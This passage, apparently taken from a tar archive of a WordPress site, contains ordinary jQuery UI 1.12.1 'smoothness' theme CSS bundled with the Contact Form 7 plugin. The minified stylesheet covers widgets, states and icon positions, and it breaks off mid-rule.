	border-top-left-radius: 4px;
}
.ui-corner-all,
.ui-corner-top,
.ui-corner-right,
.ui-corner-tr {
	border-top-right-radius: 4px;
}
.ui-corner-all,
.ui-corner-bottom,
.ui-corner-left,
.ui-corner-bl {
	border-bottom-left-radius: 4px;
}
.ui-corner-all,
.ui-corner-bottom,
.ui-corner-right,
.ui-corner-br {
	border-bottom-right-radius: 4px;
}

/* Overlays */
.ui-widget-overlay {
	background: #aaaaaa;
	opacity: .3;
	filter: Alpha(Opacity=30); /* support: IE8 */
}
.ui-widget-shadow {
	-webkit-box-shadow: -8px -8px 8px #aaaaaa;
	box-shadow: -8px -8px 8px #aaaaaa;
}
contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css000064400000075066147510273060022420 0ustar00/*! jQuery UI - v1.12.1 - 2016-09-14
* http://jqueryui.com
* Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css
* To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Verdana%2CArial%2Csans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=highlight_soft&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=flat&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=glass&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=glass&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=glass&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=glass&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=glass&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=flat&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=flat&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px
* Copyright jQuery Foundation and other contributors; Licensed MIT */

.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;cursor:pointer;list-style-image:url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7")}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup > .ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup > .ui-controlgroup-item:focus,.ui-controlgroup > .ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical > .ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:75%;width:calc( 100% - 2.4em )}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{box-shadow:inset 1px 1px 1px #ccc;border-radius:.12em;border:none}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;border-radius:1em;overflow:visible;border:none}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:bold;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-dialog{position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-n{height:2px;top:0}.ui-dialog .ui-resizable-e{width:2px;right:0}.ui-dialog .ui-resizable-s{height:2px;bottom:0}.ui-dialog .ui-resizable-w{width:2px;left:0}.ui-dialog .ui-resizable-se,.ui-dialog .ui-resizable-sw,.ui-dialog .ui-resizable-ne,.ui-dialog .ui-resizable-nw{width:7px;height:7px}.ui-dialog .ui-resizable-se{right:0;bottom:0}.ui-dialog .ui-resizable-sw{left:0;bottom:0}.ui-dialog .ui-resizable-ne{right:0;top:0}.ui-dialog .ui-resizable-nw{left:0;top:0}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:0.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-progressbar{height:2em;text-align:left;overflow:hidden}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%}.ui-progressbar .ui-progressbar-overlay{background:url("data:image/gif;base64,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");height:100%;filter:alpha(opacity=25);opacity:0.25}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted black}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:bold;line-height:1.5;padding:2px 0.4em;margin:0.5em 0 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-text{display:block;margin-right:20px;overflow:hidden;text-overflow:ellipsis}.ui-selectmenu-button.ui-button{text-align:left;white-space:nowrap;width:14em}.ui-selectmenu-icon.ui-icon{float:right;margin-top:0}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:.222em 0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:2em}.ui-spinner-button{width:1.6em;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top-style:none;border-bottom-style:none;border-right-style:none}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;padding:.2em .2em 0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:text}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Verdana,Arial,sans-serif;font-size:1.1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Verdana,Arial,sans-serif;font-size:1em}.ui-widget.ui-widget-content{border:1px solid #d3d3d3}.ui-widget-content{border:1px solid #aaa;background:#fff;color:#222}.ui-widget-content a{color:#222}.ui-widget-header{border:1px solid #aaa;background:#ccc url("images/ui-bg_highlight-soft_75_cccccc_1x100.png") 50% 50% repeat-x;color:#222;font-weight:bold}.ui-widget-header a{color:#222}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default,.ui-button,html .ui-button.ui-state-disabled:hover,html .ui-button.ui-state-disabled:active{border:1px solid #d3d3d3;background:#e6e6e6 url("images/ui-bg_glass_75_e6e6e6_1x400.png") 50% 50% repeat-x;font-weight:normal;color:#555}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited,a.ui-button,a:link.ui-button,a:visited.ui-button,.ui-button{color:#555;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #999;background:#dadada url("images/ui-bg_glass_75_dadada_1x400.png") 50% 50% repeat-x;font-weight:normal;color:#212121}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,a.ui-button:hover,a.ui-button:focus{color:#212121;text-decoration:none}.ui-visual-focus{box-shadow:0 0 3px 1px rgb(94,158,214)}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active,.ui-button:active,.ui-button.ui-state-active:hover{border:1px solid #aaa;background:#fff url("images/ui-bg_glass_65_ffffff_1x400.png") 50% 50% repeat-x;font-weight:normal;color:#212121}.ui-icon-background,.ui-state-active .ui-icon-background{border:#aaa;background-color:#212121}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#212121;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #fcefa1;background:#fbf9ee url("images/ui-bg_glass_55_fbf9ee_1x400.png") 50% 50% repeat-x;color:#363636}.ui-state-checked{border:1px solid #fcefa1;background:#fbf9ee}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#363636}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #cd0a0a;background:#fef1ec url("images/ui-bg_glass_95_fef1ec_1x400.png") 50% 50% repeat-x;color:#cd0a0a}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#cd0a0a}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#cd0a0a}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:bold}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:normal}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url("images/ui-icons_222222_256x240.png")}.ui-widget-header .ui-icon{background-image:url("images/ui-icons_222222_256x240.png")}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon,.ui-button:hover .ui-icon,.ui-button:focus .ui-icon{background-image:url("images/ui-icons_454545_256x240.png")}.ui-state-active .ui-icon,.ui-button:active .ui-icon{background-image:url("images/ui-icons_454545_256x240.png")}.ui-state-highlight .ui-icon,.ui-button .ui-state-highlight.ui-icon{background-image:url("images/ui-icons_2e83ff_256x240.png")}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url("images/ui-icons_cd0a0a_256x240.png")}.ui-button .ui-icon{background-image:url("images/ui-icons_888888_256x240.png")}.ui-icon-blank{background-position:16px 16px}.ui-icon-caret-1-n{background-position:0 0}.ui-icon-caret-1-ne{background-position:-16px 0}.ui-icon-caret-1-e{background-position:-32px 0}.ui-icon-caret-1-se{background-position:-48px 0}.ui-icon-caret-1-s{background-position:-65px 0}.ui-icon-caret-1-sw{background-position:-80px 0}.ui-icon-caret-1-w{background-position:-96px 0}.ui-icon-caret-1-nw{background-position:-112px 0}.ui-icon-caret-2-n-s{background-position:-128px 0}.ui-icon-caret-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-65px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-65px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:1px -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px 